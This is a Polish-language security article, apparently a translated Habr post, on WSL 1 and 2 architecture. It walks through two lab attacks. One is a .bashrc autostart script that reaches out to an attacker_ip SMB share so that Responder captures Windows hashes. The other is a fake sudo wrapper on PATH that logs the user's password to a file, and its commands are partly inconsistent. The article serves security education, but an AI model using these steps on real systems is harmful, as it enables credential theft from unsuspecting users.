Cześć, Habr! W październiku OTUS uruchamia nową edycję kursu . W przeddzień rozpoczęcia kursu dzielimy się z wami artykułem, który napisał jeden z naszych nauczycieli — Aleksandr Kolesnikow.
W 2016 roku firma Microsoft zaprezentowała społeczności IT nową technologię WSL (Windows Subsystem for Linux), która miała na celu połączenie dwóch wcześniej wrogich konkurentów, walczących o popularność zarówno wśród zwykłych, jak i zaawansowanych użytkowników systemów operacyjnych: Windows i Linux. Ta technologia umożliwiała korzystanie z narzędzi systemu Linux w środowisku Windows bez konieczności uruchamiania Linuxa, na przykład za pomocą podwójnego rozruchu (Multi-boot). Na Habr można znaleźć wiele artykułów opisujących zalety korzystania z WSL. Niestety, w momencie pisania tego artykułu na tym źródle nie znaleziono badań bezpieczeństwa takiego połączenia systemów operacyjnych. Ten post będzie próbą to naprawić. W artykule zostaną omówione cechy architektur WSL 1 i 2, a także przedstawione kilka przykładów ataków na systemy korzystające z tych technologii. Artykuł podzielony jest na 2 części. W pierwszej zostaną przedstawione główne teoretyczne metody ataków ze strony Linuxa i Windowsa. Druga część artykułu będzie obejmować konfigurację środowiska testowego i reprodukcję ataków.
WSL 1: cechy architektury
Aby jak najlepiej zrozumieć problemy bezpieczeństwa WSL, należy określić podstawowe kwestie związane z implementacją podsystemu. Jednym z głównych zadań użytkowników, które rozwiązuje WSL, jest umożliwienie pracy przez terminal Linux w systemie operacyjnym Windows. Zaproponowana kompatybilność była tak natywna, że pliki wykonywalne Linuxa (ELF) mogły być uruchamiane bezpośrednio w systemie Windows. W celu osiągnięcia tych celów w systemie Windows 10 stworzono specjalny podsystem, który umożliwił uruchamianie aplikacji Linux za pomocą zestawu określonych wywołań systemowych — w ten sposób podjęto próbę mapowania zestawu syscalli Linuxa na Windows. Fizycznie zrealizowano to przez dodanie nowych sterowników i nowego formatu procesów. Wizualnie architektura przedstawiała się następująco:
W rzeczywistości interakcja z systemem operacyjnym Linux została zorganizowana za pomocą kilku modułów jądra oraz specjalnego rodzaju procesów — pico. Z powyższego schematu wynika, że proces uruchomiony w instancji Linux na hoście musi być natywny i powinien korzystać z tych samych zasobów, co zwykłe aplikacje Windows. Ale jak to osiągnąć? W projekcie zostały opracowane koncepcje procesów dla Windows, które dostarczały wszystkie niezbędne komponenty systemu operacyjnego (w zależności od jego wersji) do uruchomienia aplikacji innego systemu operacyjnego.
Zauważmy, że zaproponowana abstrakcja pozwalała nie koncentrować się na systemie operacyjnym (w szczególności — Windows), w którym oczekiwano uruchomienia procesu innego systemu operacyjnego, i proponowała ogólne podejście.
W ten sposób każda aplikacja wewnątrz procesu pico mogła działać bez względu na jądro Windows:
- Problemy ze zgodnością i translacją wywołań systemowych powinny być rozwiązywane przez specjalnych dostawców;
- Ograniczenie dostępu powinno być realizowane przez Monitor bezpieczeństwa. Monitor ten znajduje się w jądrze i dlatego Windows wymagał aktualizacji w postaci nowego sterownika, który mógłby pełnić rolę dostawcy dla takich procesów. Prototyp procesu pico przedstawiony jest schematycznie poniżej:
Ponieważ system plików Linux używa nazw plików i katalogów z uwzględnieniem wielkości liter, w Windows dodano 2 typy systemów plików do pracy z WSL — VolFS i DriveFS. VolFS to implementacja systemu plików Linux, a DriveFS to system plików, który działa według zasad Windows, ale ma możliwość wyboru wrażliwości na wielkość liter w nazwach.
WSL 2
WSL 1 miała szereg ograniczeń, które uniemożliwiały jej wykorzystanie do rozwiązania maksymalnego zakresu zadań: na przykład brakowało możliwości uruchamiania aplikacji 32-bitowych Linux, nie można było korzystać z driverów urządzeń. Dlatego w 2020 roku wprowadzono WSL 2, które zmieniło podejście do budowy podsystemu. WSL 2 to zoptymalizowana maszyna wirtualna, która odpowiada charakterystykom WSL 1 pod względem zużycia zasobów. Teraz, w zależności od problemów, z jakimi boryka się użytkownik systemu Windows, można wybrać potrzebną wersję podsystemu Linux. Aby zminimalizować potencjalne luki w zabezpieczeniach, WSL 2 została zrealizowana na bazie Hyper-V w Windows 10. W tej formie Windows ma możliwość izolowanego uruchamiania jądra systemu operacyjnego Linux. Należy pamiętać, że wersja 1 WSL była przedstawiona jako funkcja beta, która miała pokazać kierunek rozwoju Windows w tej dziedzinie, dlatego przejście na Hyper-V było nieuniknione. Ostateczna architektura wygląda następująco:
W tej wersji jądra systemów Windows i Linux mają swoje własne zasoby, a ich współdzielenie istnieje tylko w systemie plików, jednak to współdzielenie nie można nazwać pełnym. Interakcja między systemami plików odbywa się za pomocą nakładki klient-serwer, która działa na protokole 9P.
Obecnie Microsoft umożliwia przełączanie między WSL 1 a WSL 2. Obie wersje są dostępne do użycia.
Bezpieczeństwo WSL
Na dzień dzisiejszy istnieje kilka prac opisujących pewne podejścia do wykorzystania legalnych narzędzi systemu do ataku na interakcję między podsystemami. Będziemy korzystać z ich scenariuszy, aby sprawdzić aktualność ataków w momencie pisania artykułu. Ogólny wykaz ataków i scenariusze przeprowadzania:
1. Implementacja systemu plików: prawa dostępu, obecność wspólnych katalogów/ mechanizmów wymiany danych.
Badania przeprowadzono w zakresie naruszenia zasad dostępu z Linux FS->Windows FS, Windows FS->Linux FS. Badania wykazały możliwość modyfikacji określonego pliku wewnątrz docelowego systemu operacyjnego. Przeprowadzono również próby podmiany, tworzenia duplikatów i usuwania części systemów plików.
Scenariusz:
- A. Atak z systemu operacyjnego Windows — modyfikacja plików z katalogu /etc systemu Linux.
- B. Atak z systemu operacyjnego Linux — modyfikacja plików w katalogach:
C:\Windows,C:Program Files,C:Users
2. Implementacja stosu sieciowego.
Badania przeprowadzono na przykładach ataków z systemu operacyjnego Linux na Windows. Wykorzystano cechy działania stosu sieciowego, a mianowicie mechanizmy uwierzytelniania na różnych zasobach.
Scenariusz:
- Otwieranie dostępu do portu, który jest zajęty w systemie Windows.
- Otwieranie portu przy braku odpowiednich uprawnień.
- Uruchomienie reverse shell z wykorzystaniem pliku elf w systemie operacyjnym Windows.
3. Ukrywanie uruchamiania procesów złośliwego oprogramowania za pomocą podsystemu WSL.
Badania opierały się na prostym fakcie - systemy ochrony nie mogą przechwytywać wydarzeń w innej maszynie wirtualnej, która działa z wykorzystaniem legalnego dostawcy w przypadku WSL 1. W przypadku WSL 2 nie ma możliwości przeglądania wydarzeń, które zachodzą w osobnej maszynie w ramach lekkiej wirtualnej maszyny.
Scenariusz:
1) Uruchomienie aplikacji do zdalnego dostępu do systemu i przeglądanie rejestrowanych zdarzeń.
Eksperymenty na WSL 1: przechwytywanie hasha (OS Windows).
W końcu dotarliśmy do części praktycznej. Na początek musimy skonfigurować środowisko do testów. Wszystkie eksperymenty będą przeprowadzane na platformie z zainstalowanym Windows 10 2004. Jako obraz systemu operacyjnego dla WSL wybrano obraz Ubuntu 18.04. Obraz został wybrany losowo i każdy inny działa tak samo. Komendy do konfiguracji platformy:
Najpierw należy uruchomić powershell.exe z uprawnieniami administratora.
Dla WSL 1 należy wykonać polecenia:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Włącz funkcję WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Pobierz obraz Linuxa ze sklepu Microsoft
Po restarcie platformy można wywołać polecenie bash. Jeśli wszystko działało poprawnie, powinieneś zobaczyć mniej więcej taki wynik w konsoli Windows:
Jako maszyny atakującego użyjemy dystrybucji Kali Linux, wszystkie maszyny powinny znajdować się w tej samej sieci lokalnej.
Załóżmy, że mamy nieuprzywilejowany dostęp do WSL na komputerze z systemem Windows. Spróbujemy przeprowadzić atak na system operacyjny Linux, wywołując polecenie z systemu Linux. W celu przeprowadzenia ataku skorzystamy z prostej techniki autostartu — dodamy nasz skrypt do wykonania w środowisku Linux. W tym celu trzeba zmienić plik .bashrc.
Na maszynie z WSL wykonujemy:
1. bash
2. Przechodzimy do katalogu domowego użytkownika: cd /home/sam/
2. echo " /home/sam/.attack.sh" >> .bashrc
3. echo "icalcs.exe " \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
4. chmod u+x .attack.sh
5. exitNa maszynie Kali Linux wykonujemy:
1. Responder -I eth0 -rdvwNa maszynie Windows uruchomimy bash.
Czekamy na wynik na maszynie Kali Linux:
W ten sposób uzyskaliśmy hasze użytkownika Windows za pomocą podsystemu WSL, wykonując polecenie w systemie Linux.
Eksperymenty WSL 1: uzyskiwanie hasła użytkownika (system Linux)
Przeprowadzimy jeszcze jeden eksperyment. W trakcie tego testu uzupełnimy plik .bashrc kilkoma poleceniami, aby uzyskać hasło użytkownika systemu Linux.
Uruchomimy bash i wprowadzimy polecenia:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit Aby atak zakończył się sukcesem, użytkownik Sam musi wywołać sudo w terminalu Linux. Po tym hasło użytkownika systemu Linux znajdzie się w pliku pass.txt:
Przedstawione ataki zostały przedstawione tylko w celach teoretycznych.
W następnej części artykułu opisana zostanie implementacja protokołu 9P, zostanie omówione stworzenie skanera dla tego protokołu oraz przeprowadzony atak przy jego użyciu.
Lista wykorzystanej literatury
Czytaj więcej
Źródło: habr.com
